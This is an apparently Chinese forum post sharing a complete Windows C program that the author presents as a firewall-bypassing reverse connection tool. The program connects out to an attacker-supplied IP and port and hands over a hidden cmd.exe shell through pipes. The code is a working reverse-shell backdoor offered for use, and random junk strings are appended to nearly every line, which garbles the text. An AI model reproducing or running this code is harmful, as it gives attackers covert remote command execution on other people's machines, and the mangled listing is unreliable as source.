这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Th@L68
l=kgRh
/* ============================== jz/@Zg",
Rebound port in Windows NT O^
f[ugs
By wind,2006/7 `qX'9e3VP+
===============================*/ BEu9gu
#include CK.Z-_M
#include K\o!
Is-Kz}4L
#pragma comment(lib,"wsock32.lib") UD"e:O_
h/PWi<R
i
void OutputShell(); JTdK\A>l
SOCKET sClient; T|oz_c\e
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; oA73\BFfP
/k7`TUK
void main(int argc,char **argv) O4(
Z%YBe
{ ]`+>{Sx 1
WSADATA stWsaData; a*=\-;HaZ
int nRet; dB< \X.
SOCKADDR_IN stSaiClient,stSaiServer; [f^~Z'TIN/
b)
.@ xS
if(argc != 3) &W }ooGg
{ AnI ENJ
printf("Useage:\n\rRebound DestIP DestPort\n"); 3\6jzD
return; :0#!=
} eF:6k qg
G4ZeO:r
WSAStartup(MAKEWORD(2,2),&stWsaData); :m-HHWMN
6ffrV
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2Xgn[oI{
5a-8/.}cP
stSaiClient.sin_family = AF_INET; /ptIxe
stSaiClient.sin_port = htons(0); i7*4hYY
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^D/*Hp _
5GC{)#4
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) YAd.i@^
{
aS:17+!
printf("Bind Socket Failed!\n"); -s4qm)\
return; zn@tLLX
} F5&4x"c
Ma wio5
stSaiServer.sin_family = AF_INET; R '"J{oR
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |jc87(x<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AVHn7olG
Kkdd }j
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8h-6;x^^
{ BDc*N]m}B1
printf("Connect Error!"); f+ J<sk
return; ;V`~'357%
} C %y AMQ
OutputShell(); OfY>~d
} 6-<,1Q'D
Gz$DsaG
void OutputShell() eH79,!=2
{ %xkqiI3Ff
char szBuff[1024]; P4ot,Q4
SECURITY_ATTRIBUTES stSecurityAttributes; Y{um1)k
OSVERSIONINFO stOsversionInfo; 0Tg/R4dI
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a&4>xZU #
STARTUPINFO stStartupInfo; ejD;lvf
char *szShell; En-eG37l
PROCESS_INFORMATION stProcessInformation; W<k) '|
unsigned long lBytesRead; kLADd"C
j{S\X'?
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Vh4z+JOC
,8EeSnI
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )7[>/2aGd
stSecurityAttributes.lpSecurityDescriptor = 0; ka*VQXk*
stSecurityAttributes.bInheritHandle = TRUE; Up)b;wR
nA5v+d-<T
2'_Oi-&
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E #8 `X
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); A]ciox$AjW
a!xKS8-S==
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); # 1I<qK
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &+JV\
stStartupInfo.wShowWindow = SW_HIDE; bWG}>{fj
stStartupInfo.hStdInput = hReadPipe; *>zr'Tt,W
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O. @_2
Vg&`f
GetVersionEx(&stOsversionInfo); +X"TiA7{j
6e/ 2X<O
switch(stOsversionInfo.dwPlatformId) ~@MIG
{ [Gy sx
case 1: =-`X61];M
szShell = "command.com"; \Qz>us=G
break; Cm(Hu
default: y!
7;Z~"
szShell = "cmd.exe"; 'I*F(4x
break; rJKX4,M
} =`Nnd@3v
Fl^.J<Dz
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !Kd/
lDY
*+lnAxRa?
send(sClient,szMsg,77,0); `L7 cS
while(1) l,-smK69
{ o#Rao#bD:
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);
UYGl
if(lBytesRead) 5qR76iH)/
{ ,k+jx53XV
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &I <R|a
send(sClient,szBuff,lBytesRead,0); 1 NLawi6
} h$4V5V
else |4x&f!%m
{ el5F>)
lBytesRead=recv(sClient,szBuff,1024,0); NS mo(c>5
if(lBytesRead<=0) break; :.DCRs$Q
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Cf2rRH
} Y-7x**I
} Dbz\8gmY
o!wz:|\S
return; %`-NWAXL
}